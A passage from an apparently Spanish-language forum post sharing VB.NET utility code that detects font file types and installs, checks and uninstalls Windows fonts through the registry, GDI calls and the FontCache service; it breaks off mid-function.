 ◉ En ocasiones extrae incorrectamente el nombre de la fuente, y, debido a esto,
     en algunos casos termina escribiendo caracteres ininteligibles en la clave de registro, ej.: "⿻⿷⿸⿹ (TrueType)",
     y ese es el nombre que verás al listar la fuente en tu editor de texto.
 ◉ Al igual que la shell de Windows al registrar el nombre de una fuente en el registro de Windows,
     no hace distinción entre TrueType y OpenType: siempre se añade el sufijo "(TrueType)".

Por estas razones, su uso en entornos programáticos o controlados no es ni productivo, ni confiable.



El código completo semi-completo (he tenido que eliminar mucha documentación XML ya que no me cabía en este post):

Librerías (paquetes NuGet) necesarias:
 ◉ WindowsAPICodePack (https://www.nuget.org/packages/WindowsAPICodePack)
 ◉ System.ServiceProcess.ServiceController (https://www.nuget.org/packages/System.ServiceProcess.ServiceController) (solo para usuarios de .NET 5+)

Imports necesarios:
Código
  1. #If NETCOREAPP Then
  2. Imports System.Buffers.Binary
  3. #End If
  4.  
  5. Imports System.ComponentModel
  6. Imports System.Diagnostics.CodeAnalysis
  7. Imports System.IO
  8. Imports System.Runtime.InteropServices
  9. Imports System.Runtime.Versioning
  10. Imports System.Security
  11. Imports System.ServiceProcess
  12. Imports System.Text
  13.  
  14. Imports Microsoft.Win32
  15.  
  16. Imports Microsoft.WindowsAPICodePack.Shell
  17.  
  18. Imports DevCase.Win32
  19. Imports DevCase.Win32.Enums

Clases secundarias requeridas:

Código
  1. #Region " Constants "
  2.  
  3. Namespace DevCase.Win32.Common.Constants
  4.  
  5.    <HideModuleName>
  6.    Friend Module Constants
  7.  
  8. #Region " Window Messaging "
  9.  
  10.        ''' <summary>
  11.        ''' Handle to use with window messaging functions.
  12.        ''' <para></para>
  13.        ''' When used, the message is sent to all top-level windows in the system,
  14.        ''' including disabled or invisible unowned windows, overlapped windows, and pop-up windows;
  15.        ''' but the message is not sent to child windows.
  16.        ''' </summary>
  17.        Friend ReadOnly HWND_BROADCAST As New IntPtr(65535US)
  18.  
  19. #End Region
  20.  
  21.    End Module
  22.  
  23. End Namespace
  24.  
  25. #End Region

Código
  1. #Region " Window Messages "
  2.  
  3. Namespace DevCase.Win32.Enums
  4.  
  5.    Friend Enum WindowMessages As Integer
  6.  
  7.        ''' <summary>
  8.        ''' An application sends the message to all top-level windows in the system after changing the
  9.        ''' pool of font resources.
  10.        ''' </summary>
  11.        WM_FontChange = &H1D
  12.  
  13.    End Enum
  14.  
  15. End Namespace
  16.  
  17. #End Region

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module Gdi32
  7.  
  8.        <DllImport("GDI32.dll", SetLastError:=False, CharSet:=CharSet.Auto, ThrowOnUnmappableChar:=True, BestFitMapping:=False)>
  9.        Friend Function AddFontResource(fileName As String
  10.        ) As Integer
  11.        End Function
  12.  
  13.        <DllImport("GDI32.dll", SetLastError:=True, CharSet:=CharSet.Auto, ThrowOnUnmappableChar:=True, BestFitMapping:=False)>
  14.        Friend Function RemoveFontResource(fileName As String
  15.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  16.        End Function
  17.  
  18.    End Module
  19.  
  20.    <SuppressUnmanagedCodeSecurity>
  21.    Friend Module User32
  22.  
  23.        <DllImport("User32.dll", SetLastError:=True)>
  24.        Friend Function SendMessage(hWnd As IntPtr,
  25.                                    msg As WindowMessages,
  26.                                    wParam As IntPtr,
  27.                                    lParam As IntPtr
  28.        ) As IntPtr
  29.        End Function
  30.  
  31.    End Module
  32.  
  33. End Namespace
  34.  
  35. #End Region

Clase principal 'UtilFonts', que contiene los métodos universales (y otros miembros relacionados) en torno a fuentes de texto:

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Magic number located at the beginning of a TrueType font (.ttf) file header.
  5.    ''' </summary>
  6.    Private Shared ReadOnly TT_MAGIC As Byte() = {
  7.        &H0, &H1, &H0, &H0
  8.    }
  9.  
  10.    ''' <summary>
  11.    ''' Magic number located at the beginning of a TrueType font (.ttf) file header
  12.    ''' that starts with ASCII string "true".
  13.    ''' </summary>
  14.    Private Shared ReadOnly TT_MAGIC_TRUE As Byte() = {
  15.        &H74, &H72, &H75, &H65  ' "true"
  16.    }
  17.  
  18.    ''' <summary>
  19.    ''' Magic number located at the beginning of an OpenType font with CFF (PostScript) outlines (.otf) file header.
  20.    ''' <para></para>
  21.    ''' This distinguishes them from OpenType-TT fonts.
  22.    ''' </summary>
  23.    Private Shared ReadOnly OT_MAGIC As Byte() = {
  24.        &H4F, &H54, &H54, &H4F ' "OTTO"
  25.    }
  26.  
  27.    ''' <summary>
  28.    ''' Retrieves a user-friendly name for a given font file,
  29.    ''' that is identical to the 'Title' property shown by Windows Explorer,
  30.    ''' allowing to provide consistent font identification in your application.  
  31.    ''' </summary>
  32.    '''
  33.    ''' <param name="fontFile">
  34.    ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  35.    ''' </param>
  36.    '''
  37.    ''' <param name="includeSuffix">
  38.    ''' If <see langword="True"/>, includes a suffix that specifies
  39.    ''' the underlying font technology (e.g., "Font name <c>(TrueType)</c>", "Font name <c>(OpenType)</c>"),
  40.    ''' ensuring that the font name matches exactly the name shown in Microsoft's Windows Font Viewer (FontView.exe) title bar.
  41.    ''' </param>
  42.    '''
  43.    ''' <returns>
  44.    ''' The user-friendly name for the given font file.
  45.    ''' </returns>
  46.    <DebuggerStepThrough>
  47.    Public Shared Function GetFontFriendlyName(fontFile As String, includeSuffix As Boolean) As String
  48.  
  49.        If Not File.Exists(fontFile) Then
  50.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  51.            Throw New FileNotFoundException(msg, fontFile)
  52.        End If
  53.  
  54.        Dim fontTitle As String = ShellFile.FromFilePath(fontFile).Properties.System.Title.Value.Trim()
  55.        If String.IsNullOrWhiteSpace(fontTitle) Then
  56.            Dim msg As String = "'Title' property for the given font is empty."
  57.            Throw New FormatException(msg)
  58.        End If
  59.  
  60.        If includeSuffix Then
  61.            Dim fontType As FontType = UtilFonts.GetFontType(fontFile)
  62.            Select Case fontType
  63.  
  64.                Case FontType.Invalid
  65.                    Dim msg As String = "File does not seems a valid font file (file size is too small)."
  66.                    Throw New FileFormatException(msg)
  67.  
  68.                Case FontType.Unknown
  69.                    Dim msg As String = "Font file type is not recognized. " &
  70.                                        "It might be an unsupported format, corrupted file Or Not a valid font file."
  71.                    Throw New FileFormatException(msg)
  72.  
  73.                Case FontType.TrueType
  74.                    Return $"{fontTitle} (TrueType)"
  75.  
  76.                Case FontType.OpenTypeCFF, FontType.OpenTypeTT
  77.                    Return $"{fontTitle} (OpenType)"
  78.  
  79.                Case Else ' FontType.Raster
  80.                    ' Nothing to do.
  81.            End Select
  82.        End If
  83.  
  84.        Return fontTitle
  85.    End Function
  86.  
  87.    ''' <summary>
  88.    ''' Determines the type of a font file.
  89.    ''' <para></para>
  90.    ''' Supports TrueType (.ttf), OpenType (.otf/.ttf) and Raster/Bitmap (.fon).
  91.    ''' </summary>
  92.    '''
  93.    ''' <param name="fontFile">
  94.    ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  95.    ''' </param>
  96.    '''
  97.    ''' <returns>
  98.    ''' A <see cref="FontType"/> value indicating the font type of the given file.
  99.    ''' <para></para>
  100.    ''' If the font type cannot be recognized, it returns <see cref="FontType.Unknown"/>.
  101.    ''' <para></para>
  102.    ''' If the given file does not meet the criteria to be treated as a font file, it returns <see cref="FontType.Invalid"/>.
  103.    ''' </returns>
  104.    <DebuggerStepThrough>
  105.    Public Shared Function GetFontType(fontFile As String) As FontType
  106.  
  107.        If Not File.Exists(fontFile) Then
  108.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  109.            Throw New FileNotFoundException(msg, fontFile)
  110.        End If
  111.  
  112.        ' 512 bytes is the minimum length I found sufficient
  113.        ' to reliably read the header of any raster (.fon) font file
  114.        ' to find its string markers that identifies this file type.
  115.        Const minFontFileLength As Short = 512
  116.  
  117.        Dim fi As New FileInfo(fontFile)
  118.        If fi.Length <= minFontFileLength Then
  119.            Return FontType.Invalid
  120.        End If
  121.  
  122.        Try
  123.            Using fs As FileStream = fi.OpenRead(),
  124.                  br As New BinaryReader(fs)
  125.  
  126.                Dim headerBytes As Byte() = br.ReadBytes(4)
  127.  
  128.                ' TrueType check.
  129.                If headerBytes.SequenceEqual(UtilFonts.TT_MAGIC) OrElse
  130.                   headerBytes.SequenceEqual(UtilFonts.TT_MAGIC_TRUE) Then
  131.  
  132.                    ' OpenType-TT check
  133.                    br.BaseStream.Seek(4, SeekOrigin.Begin)
  134. #If NETCOREAPP Then
  135.                    Dim numTables As UShort = BinaryPrimitives.ReverseEndianness(br.ReadUInt16())
  136. #Else
  137.                    ' Read two bytes directly.
  138.                    Dim bytes As Byte() = br.ReadBytes(2)
  139.                    ' If the system is little-endian, reverse the bytes to interpret as big-endian.
  140.                    If BitConverter.IsLittleEndian Then
  141.                        Array.Reverse(bytes)
  142.                    End If
  143.                    ' Now get the UShort value in big-endian.
  144.                    Dim swapped As UShort = BitConverter.ToUInt16(bytes, 0)
  145.                    Dim numTables As UShort = swapped
  146. #End If
  147.                    br.BaseStream.Seek(6, SeekOrigin.Current) ' skip: searchRange, entrySelector, rangeShift
  148.                    ' Search advanced OpenType tables.
  149.                    For i As Integer = 0 To numTables - 1
  150.                        Dim tag As String = Encoding.ASCII.GetString(br.ReadBytes(4))
  151.                        br.ReadBytes(12) ' checkSum, offset, length
  152.                        If tag = "GSUB" OrElse tag = "GPOS" OrElse tag = "GDEF" OrElse tag = "BASE" Then
  153.                            Return FontType.OpenTypeTT
  154.                        End If
  155.                    Next
  156.  
  157.                    Return FontType.TrueType
  158.                End If
  159.  
  160.                ' OpenType CFF check.
  161.                If headerBytes.SequenceEqual(UtilFonts.OT_MAGIC) Then
  162.                    Return FontType.OpenTypeCFF
  163.                End If
  164.  
  165.                ' Raster/Bitmap check.
  166.                br.BaseStream.Seek(0, SeekOrigin.Begin)
  167.                headerBytes = br.ReadBytes(minFontFileLength)
  168.                Dim headerText As String = Encoding.ASCII.GetString(headerBytes)
  169.                If headerText.Contains("FONTDIR") AndAlso
  170.                   headerText.Contains("FONTRES") Then
  171.                    Return FontType.Raster
  172.                End If
  173.  
  174.            End Using
  175.  
  176.        Catch ex As Exception
  177.            Throw
  178.  
  179.        End Try
  180.  
  181.        Return FontType.Unknown
  182.    End Function
  183.  
  184.    ''' <summary>
  185.    ''' Specifies the type of a font file.
  186.    ''' </summary>
  187.    Public Enum FontType As Short
  188.  
  189.        ''' <summary>
  190.        ''' A TrueType font (.ttf).
  191.        ''' <para></para>
  192.        ''' This is the traditional TrueType format developed by Apple™.
  193.        ''' </summary>
  194.        TrueType
  195.  
  196.        ''' <summary>
  197.        ''' An OpenType font with PostScript (CFF) outlines (.otf).
  198.        ''' <para></para>
  199.        ''' These fonts use the .otf container from the OpenType format jointly developed by Adobe™ and Microsoft™.
  200.        ''' </summary>
  201.        OpenTypeCFF
  202.  
  203.        ''' <summary>
  204.        ''' An OpenType font with TrueType outlines (.ttf).
  205.        ''' <para></para>
  206.        ''' Technically OpenType, but uses TrueType outlines inside a .ttf container.
  207.        ''' <para></para>
  208.        ''' Sometimes called 'OpenType-TT' for distinction.
  209.        ''' </summary>
  210.        OpenTypeTT
  211.  
  212.        ''' <summary>
  213.        ''' A Raster / Bitmap font (.fon) with fixed-size glyphs.
  214.        ''' <para></para>
  215.        ''' Raster fonts store each character as a pixel grid, not as scalable outlines.
  216.        ''' <para></para>
  217.        ''' These were commonly used in older versions of Windows and DOS, and are mostly legacy fonts today.
  218.        ''' </summary>
  219.        Raster
  220.  
  221.        ''' <summary>
  222.        ''' Font file type is not recognized.
  223.        ''' <para></para>
  224.        ''' It might be an unsupported format, corrupted file or not a valid font file.
  225.        ''' </summary>
  226.        Unknown
  227.  
  228.        ''' <summary>
  229.        ''' File does not seems a valid font file (file size is too small).
  230.        ''' </summary>
  231.        Invalid
  232.  
  233.    End Enum
  234.  
  235.    ''' <summary>
  236.    ''' Determines whether a font file is already installed in the current computer.
  237.    ''' </summary>
  238.    '''
  239.    ''' <param name="fontFilePathOrName">
  240.    ''' Either the full path to the font file or just the file name
  241.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  242.    ''' </param>
  243.    '''
  244.    ''' <param name="systemWide">
  245.    ''' If <see langword="True"/>, performs a system-wide search for the font installation (under <c>HKEY_LOCAL_MACHINE</c> base key).
  246.    ''' otherwise, searches only the current user's installed fonts (under <c>HKEY_CURRENT_USER</c> base key).
  247.    ''' </param>
  248.    '''
  249.    ''' <returns>
  250.    ''' If the font file is not installed, returns <see cref="CheckFontInstallationResults.NotInstalled"/>;
  251.    ''' otherwise, can return a combination of <see cref="CheckFontInstallationResults"/> values.
  252.    ''' </returns>
  253.    <DebuggerStepThrough>
  254.    Public Shared Function CheckFontInstallation(fontFilePathOrName As String, systemWide As Boolean) As CheckFontInstallationResults
  255.  
  256.        Dim fontFilePath As String = UtilFonts.BuildFullFontFilePath(fontFilePathOrName, systemWide)
  257.        Dim fontFileName As String = Path.GetFileName(fontFilePath)
  258.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFilePath, includeSuffix:=False)
  259.  
  260.        Dim fontTitleTT As String = $"{fontTitle} (TrueType)"
  261.        Dim fontTitleOT As String = $"{fontTitle} (OpenType)"
  262.  
  263.        Dim result As CheckFontInstallationResults = CheckFontInstallationResults.NotInstalled
  264.  
  265.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  266.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  267.  
  268.        Try
  269.            Using key As RegistryKey = baseKey.OpenSubKey(regKeyPath, writable:=False)
  270.                ' Fonts registry key does not exists.
  271.                If key Is Nothing Then
  272.                    Exit Try
  273.                End If
  274.  
  275.                Dim valueFontTitle As Object = CStr(key.GetValue(fontTitle))
  276.                Dim valueFontTitleTT As Object = CStr(key.GetValue(fontTitleTT))
  277.                Dim valueFontTitleOT As Object = CStr(key.GetValue(fontTitleOT))
  278.  
  279.                Dim fontTitles() As String = {fontTitle, fontTitleTT, fontTitleOT}
  280.                For Each title As String In fontTitles
  281.  
  282.                    Dim regValue As Object = key.GetValue(title, Nothing, RegistryValueOptions.DoNotExpandEnvironmentNames)
  283.  
  284.                    ' Font title found in registry
  285.                    If regValue IsNot Nothing Then
  286.                        result = result Or CheckFontInstallationResults.FontTitleFound
  287.  
  288.                        ' Font file matches?
  289.                        If String.Equals(CStr(regValue), fontFileName, StringComparison.OrdinalIgnoreCase) Then
  290.                            result = result Or CheckFontInstallationResults.FileNameFound
  291.                        End If
  292.                    End If
  293.  
  294.                    If result = (CheckFontInstallationResults.FontTitleFound Or CheckFontInstallationResults.FileNameFound) Then
  295.                        Exit For
  296.                    End If
  297.                Next
  298.  
  299.                If Not result.HasFlag(CheckFontInstallationResults.FileNameFound) Then
  300.                    ' Additional check required for consistency because the font file name
  301.                    ' could be specified in a value name that differs from the compared font title vale names.
  302.                    Dim valueNames As String() = Array.ConvertAll(key.GetValueNames(), Function(str As String) str.ToLowerInvariant())
  303.                    If valueNames.Contains(fontFileName.ToLowerInvariant()) Then
  304.                        result = result Or CheckFontInstallationResults.FileNameFound
  305.                    End If
  306.                End If
  307.  
  308.            End Using
  309.  
  310.        Catch ex As Exception
  311.            Throw
  312.  
  313.        End Try
  314.  
  315.        Return result
  316.    End Function
  317.  
  318.    ''' <summary>
  319.    ''' Specifies the installation status of a font file on the current computer.
  320.    ''' </summary>
  321.    <Flags>
  322.    Public Enum CheckFontInstallationResults As Short
  323.  
  324.        ''' <summary>
  325.        ''' The font is not installed.
  326.        ''' </summary>
  327.        NotInstalled = 0S
  328.  
  329.        ''' <summary>
  330.        ''' A registry value with the font file name is present in the Windows <b>Fonts</b> registry key.
  331.        ''' </summary>
  332.        FileNameFound = 1S << 0S
  333.  
  334.        ''' <summary>
  335.        ''' A registry value name with the font title
  336.        ''' (which also may have suffix: "<b>(TrueType)</b>" or "<b>(OpenType)</b>")
  337.        ''' is present in the Windows <b>Fonts</b> registry key.
  338.        ''' </summary>
  339.        FontTitleFound = 1S << 1S
  340.  
  341.    End Enum
  342.  
  343.    ''' <summary>
  344.    ''' Installs a font file permanently on the current computer.
  345.    ''' </summary>
  346.    '''
  347.    ''' <param name="fontFile">
  348.    ''' The path to the font file to install (e.g., <b>"C:\font.ttf"</b>).
  349.    ''' </param>
  350.    '''
  351.    ''' <param name="systemWide">
  352.    ''' If <see langword="True"/>, performs a system-wide installation;
  353.    ''' otherwise, installs the font for the current user only.
  354.    ''' </param>
  355.    '''
  356.    ''' <param name="useTrueTypeNameSuffix">
  357.    ''' If <see langword="True"/>, appends the "<b>(TrueType)</b>" suffix when
  358.    ''' naming the font registry value for TrueType and OpenType fonts.
  359.    ''' This is what Microsoft Windows does by default.
  360.    ''' <para></para>
  361.    ''' If <see langword="False"/>, appends the appropriate suffix for the font type: "<b>(TrueType)</b>" or "<b>(OpenType)</b>".
  362.    ''' <para></para>
  363.    ''' This setting does not apply to .fon files.
  364.    ''' </param>
  365.    '''
  366.    ''' <param name="addFontToSystemTable">
  367.    ''' If <see langword="True"/>, the font resource is loaded into memory and immediately available to other applications.
  368.    ''' </param>
  369.    <DebuggerStepThrough>
  370.    Public Shared Sub InstallFont(fontFile As String, systemWide As Boolean, useTrueTypeNameSuffix As Boolean, addFontToSystemTable As Boolean)
  371.  
  372.        Dim isFontInstalled As Boolean
  373.        Try
  374.            isFontInstalled = (UtilFonts.CheckFontInstallation(fontFile, systemWide) <> UtilFonts.CheckFontInstallationResults.NotInstalled)
  375.  
  376.        Catch ex As FileNotFoundException
  377.            ' Use this exception message for readness, since CheckFontInstallation calls BuildFullFontFilePath, which modifies the path.
  378.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  379.            Throw New FileNotFoundException(msg, fontFile)
  380.  
  381.        Catch ex As Exception
  382.            Throw
  383.        End Try
  384.  
  385.        If isFontInstalled Then
  386.            Dim msg As String = $"The font file is already installed: '{fontFile}'"
  387.            Throw New InvalidOperationException(msg)
  388.        End If
  389.  
  390.        Dim fontFileName As String = Path.GetFileName(fontFile)
  391.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFile, includeSuffix:=True)
  392.        If useTrueTypeNameSuffix Then
  393.            fontTitle = fontTitle.Replace(" (OpenType)", " (TrueType)")
  394.        End If
  395.  
  396.        Dim fontsDir As String = If(systemWide,
  397.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  398.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  399.  
  400.        If Not Directory.Exists(fontsDir) Then
  401.            Directory.CreateDirectory(fontsDir)
  402.        End If
  403.  
  404.        Dim fontFileDestPath As String = Path.Combine(fontsDir, fontFileName)
  405.        If File.Exists(fontFileDestPath) Then
  406.            Dim msg As String = $"Font file already exists in Fonts directory: {fontFileDestPath}"
  407.            Throw New InvalidOperationException(msg)
  408.        End If
  409.  
  410.        Try
  411.            File.Copy(fontFile, fontFileDestPath, overwrite:=False)
  412.        Catch ex As Exception
  413.            Dim msg As String = $"Error copying font file to Fonts directory: '{fontFileDestPath}'"
  414.            Throw New IOException(msg, ex)
  415.        End Try
  416.  
  417.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  418.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  419.  
  420.        Dim registrySuccess As Boolean
  421.        Try
  422.            Using key As RegistryKey = baseKey.CreateSubKey(regKeyPath, writable:=True)
  423.                key.SetValue(fontTitle, fontFileName, RegistryValueKind.String)
  424.            End Using
  425.            registrySuccess = True
  426.  
  427.        Catch ex As Exception
  428.            Throw
  429.  
  430.        Finally
  431.            If Not registrySuccess Then
  432.                ' Attempt to delete the copied font file in Fonts directory
  433.                ' when registry manipulation has failed.
  434.                Try
  435.                    File.Delete(fontFileDestPath)
  436.                Catch
  437.                    ' Ignore deletion exceptions; cleanup best effort.
  438.                End Try
  439.            End If
  440.        End Try
  441.  
  442.        ' Add the font to the system font table.
  443.        If addFontToSystemTable Then
  444.            Dim fontsAdded As Integer = DevCase.Win32.NativeMethods.AddFontResource(fontFileDestPath)
  445.            Dim win32Err As Integer = Marshal.GetLastWin32Error()
  446.  
  447.            If fontsAdded = 0 OrElse win32Err <> 0 Then
  448.                Dim msg As String = $"Failed to add font to the system font table '{fontFileDestPath}'"
  449.                Throw New InvalidOperationException(msg, New Win32Exception(win32Err))
  450.            End If
  451.  
  452.            ' Notify all top-level windows so they can immediately list the added font.
  453.            DevCase.Win32.NativeMethods.SendMessage(DevCase.Win32.Common.Constants.HWND_BROADCAST, WindowMessages.WM_FontChange, IntPtr.Zero, IntPtr.Zero)
  454.        End If
  455.  
  456.    End Sub
  457.  
  458.    ''' <summary>
  459.    ''' Uninstalls a font file from the current computer.
  460.    ''' </summary>
  461.    '''
  462.    ''' <param name="fontFilePathOrName">
  463.    ''' Either the full path to the font file or just the file name
  464.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  465.    ''' </param>
  466.    '''
  467.    ''' <param name="systemWide">
  468.    ''' If <see langword="True"/>, performs a system-wide uninstallation;
  469.    ''' otherwise, uninstalls the font for the current user only.
  470.    ''' </param>
  471.    '''
  472.    ''' <param name="deleteFile">
  473.    ''' If <see langword="True"/>, permanently deletes the font file from disk.
  474.    ''' <para></para>
  475.    ''' Note: The font file deletion will be performed after deleting associated registry values with the font file.
  476.    ''' </param>
  477.    <DebuggerStepThrough>
  478.    Public Shared Sub UninstallFont(fontFilePathOrName As String, systemWide As Boolean, deleteFile As Boolean)
  479.  
  480.        Dim fontFilePath As String = UtilFonts.BuildFullFontFilePath(fontFilePathOrName, systemWide)
  481.        Dim fontFileName As String = Path.GetFileName(fontFilePath)
  482.  
  483.        Dim checkFontInstallation As CheckFontInstallationResults = UtilFonts.CheckFontInstallation(fontFilePath, systemWide)
  484.        Dim isFontInstalled As Boolean = (checkFontInstallation <> UtilFonts.CheckFontInstallationResults.NotInstalled)
  485.        If Not isFontInstalled Then
  486.            Dim msg As String = $"The font file is not installed: '{fontFilePath}'"
  487.            Throw New InvalidOperationException(msg)
  488.        End If
  489.  
  490.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFilePath, includeSuffix:=False)
  491.        Dim fontTitleTT As String = $"{fontTitle} (TrueType)"
  492.        Dim fontTitleOT As String = $"{fontTitle} (OpenType)"
  493.  
  494.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  495.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  496.  
  497.        Try
  498.            Using key As RegistryKey = baseKey.OpenSubKey(regKeyPath, writable:=True)
  499.  
  500.                Dim valueNames As String() = key.GetValueNames()
  501.  
  502.                ' Compare font title.
  503.                If checkFontInstallation.HasFlag(CheckFontInstallationResults.FontTitleFound) Then
  504.                    If valueNames.Contains(fontTitle) Then
  505.                        key.DeleteValue(fontTitle, throwOnMissingValue:=True)
  506.  
  507.                    ElseIf valueNames.Contains(fontTitleTT) Then
  508.                        key.DeleteValue(fontTitleTT, throwOnMissingValue:=True)
  509.  
  510.                    ElseIf valueNames.Contains(fontTitleOT) Then
  511.                        key.DeleteValue(fontTitleOT, throwOnMissingValue:=True)
  512.  
  513.                    End If
  514.  
  515.                ElseIf checkFontInstallation.HasFlag(CheckFontInstallationResults.FileNameFound) Then
  516.                    For Each valueName As String In valueNames
  517.                        ' Compare font file name.
  518.                        Dim value As String = CStr(key.GetValue(valueName))
  519.                        If String.Equals(value, fontFileName, StringComparison.OrdinalIgnoreCase) Then
  520.                            key.DeleteValue(valueName, throwOnMissingValue:=True)
  521.                            Exit For
  522.                        End If
  523.                    Next
  524.  
  525.                End If
  526.  
  527.            End Using
  528.  
  529.        Catch ex As Exception
  530.            Throw
  531.  
  532.        End Try
  533.  
  534.        If deleteFile Then
  535.            Dim fontsDir As String = If(systemWide,
  536.                Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  537.                Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  538.  
  539.            Dim fontFileDestPath As String = Path.Combine(fontsDir, fontFileName)
  540.  
  541.            ' First attempt to delete the file.
  542.            Try
  543.                File.Delete(fontFileDestPath)
  544.            Catch
  545.            End Try
  546.  
  547.            If File.Exists(fontFileDestPath) Then
  548.                ' Remove the font from the system font table,
  549.                ' because in case of 'AddFontResource' was called for this font file in the current user session,
  550.                ' the font will remain loaded in memory and cannot be deleted until unloaded from memory.
  551.                Dim result As Boolean = DevCase.Win32.NativeMethods.RemoveFontResource(fontFileDestPath)
  552.                Dim win32Err As Integer = Marshal.GetLastWin32Error()
  553.  
  554.                If result Then
  555.                    ' Notify all top-level windows so they can immediately delist the removed font.
  556.                    DevCase.Win32.NativeMethods.SendMessage(DevCase.Win32.Common.Constants.HWND_BROADCAST, WindowMessages.WM_FontChange, IntPtr.Zero, IntPtr.Zero)
  557.                Else
  558.                    ' Ignore throwing an exception, since we don't really know if the font file was loaded in memory.
  559.  
  560.                    'Dim msg As String = $"Failed to remove font file from the system font table: '{fontFileDestPath}'"
  561.                    'Throw New InvalidOperationException(msg, New Win32Exception(win32Err))
  562.                End If
  563.  
  564.                ' Second attempt to delete the file.
  565.                Try
  566.                    File.Delete(fontFileDestPath)
  567.                Catch
  568.                End Try
  569.  
  570.            End If
  571.  
  572.            If File.Exists(fontFileDestPath) Then
  573.  
  574.                ' Ensure that the 'FontCache' service is stopped, as it could habe blocked the font file.
  575.                Using sc As New ServiceController("FontCache")
  576.                    Dim previousStatus As ServiceControllerStatus = sc.Status
  577.                    If (sc.Status <> ServiceControllerStatus.Stopped) AndAlso
  578.                       (sc.Status <> ServiceControllerStatus.StopPending) Then
  579.                        Try
  580.                            sc.Stop()
  581.                            sc.WaitForStatus(ServiceControllerStatus.Stopped, TimeSpan.FromSeconds(3))
  582.                        Catch ex As Exception
  583.                            ' Ignore throwing an exception,
  584.                            ' since we don't really know if the 'FontCache' service have blocked the font file at all.
  585.  
  586.                            'If sc.Status <> ServiceControllerStatus.Stopped Then
  587.                            '    Dim msg As String = "Unable to stop 'FontCache' service."
  588.                            '    Throw New InvalidOperationException(msg, ex)
  589.                            'End If
  590.                        End Try
  591.                    End If
  592.  
  593.                    ' Third and last attempt to delete the file.
  594.                    Try
  595.                        File.Delete(fontFileDestPath)
  596.  
  597.                    Catch ex As Exception
  598.                        Dim msg As String = $"Error deleting font file from Fonts directory: '{fontFileDestPath}'"
  599.                        Throw New IOException(msg, ex)
  600.  
  601.                    Finally
  602.                        ' Restore previous 'FontCache' service status if it was started and not in automatic mode.
  603.                        If sc.StartType <> ServiceStartMode.Automatic AndAlso (
  604.                              (previousStatus = ServiceControllerStatus.Running) OrElse
  605.                              (previousStatus = ServiceControllerStatus.StartPending)
  606.                           ) AndAlso sc.Status <> ServiceControllerStatus.Running Then
  607.                            Try
  608.                                sc.Start()
  609.                                sc.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(0.25))
  610.                            Catch
  611.                                ' Ignore throwing an exception; best effort.
  612.                            End Try
  613.                        End If
  614.                    End Try
  615.                End Using
  616.            End If
  617.  
  618.        End If
  619.  
  620.    End Sub
  621.  
  622.    ''' <summary>
  623.    ''' Builds a full path to a font file from the given value in <paramref name="fontFilePathOrName"/> parameter.
  624.    ''' <para></para>
  625.    ''' If the provided file path exists, it is returned as-is; otherwise,
  626.    ''' the function constructs and returns a full file path based on
  627.    ''' the value of <paramref name="systemWide"/> parameter.
  628.    ''' <para></para>
  629.    ''' Note: This function does not check whether the resulting file path exists.
  630.    ''' </summary>
  631.    '''
  632.    ''' <param name="fontFilePathOrName">
  633.    ''' Either the full path to the font file or just the file name
  634.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  635.    ''' <para></para>
  636.    ''' If the provided path exists, the function returns this path as-is.
  637.    ''' </param>
  638.    '''
  639.    ''' <param name="systemWide">
  640.    ''' If <see langword="True"/>, the function constructs a full font file path from the system's Fonts directory
  641.    ''' (<b>%WINDIR%\Fonts</b>); otherwise, it constructs a full font file path from the current user's local Fonts directory
  642.    ''' (<b>%LOCALAPPDATA%\Microsoft\Windows\Fonts</b>).
  643.    ''' <para></para>
  644.    ''' Note: The <paramref name="systemWide"/> parameter is ignored if
  645.    ''' <paramref name="fontFilePathOrName"/> already specifies an existing file path.
  646.    ''' </param>
  647.    '''
  648.    ''' <returns>
  649.    ''' The resulting full path to the font file.
  650.    ''' </returns>
  651.    <DebuggerStepThrough>
  652.    Private Shared Function BuildFullFontFilePath(fontFilePathOrName As String, systemWide As Boolean) As String
  653.  
  654.        If File.Exists(fontFilePathOrName) Then
  655.            Return fontFilePathOrName
  656.        End If
  657.  
  658.        Dim fontFileName As String = Path.GetFileName(fontFilePathOrName)
  659.        If String.IsNullOrWhiteSpace(fontFileName) Then
  660.            Throw New ArgumentException("The font file path or name is malformed or empty.", NameOf(fontFilePathOrName))
  661.        End If
  662.  
  663.        Dim fontsDir As String = If(systemWide,
  664.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  665.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  666.  
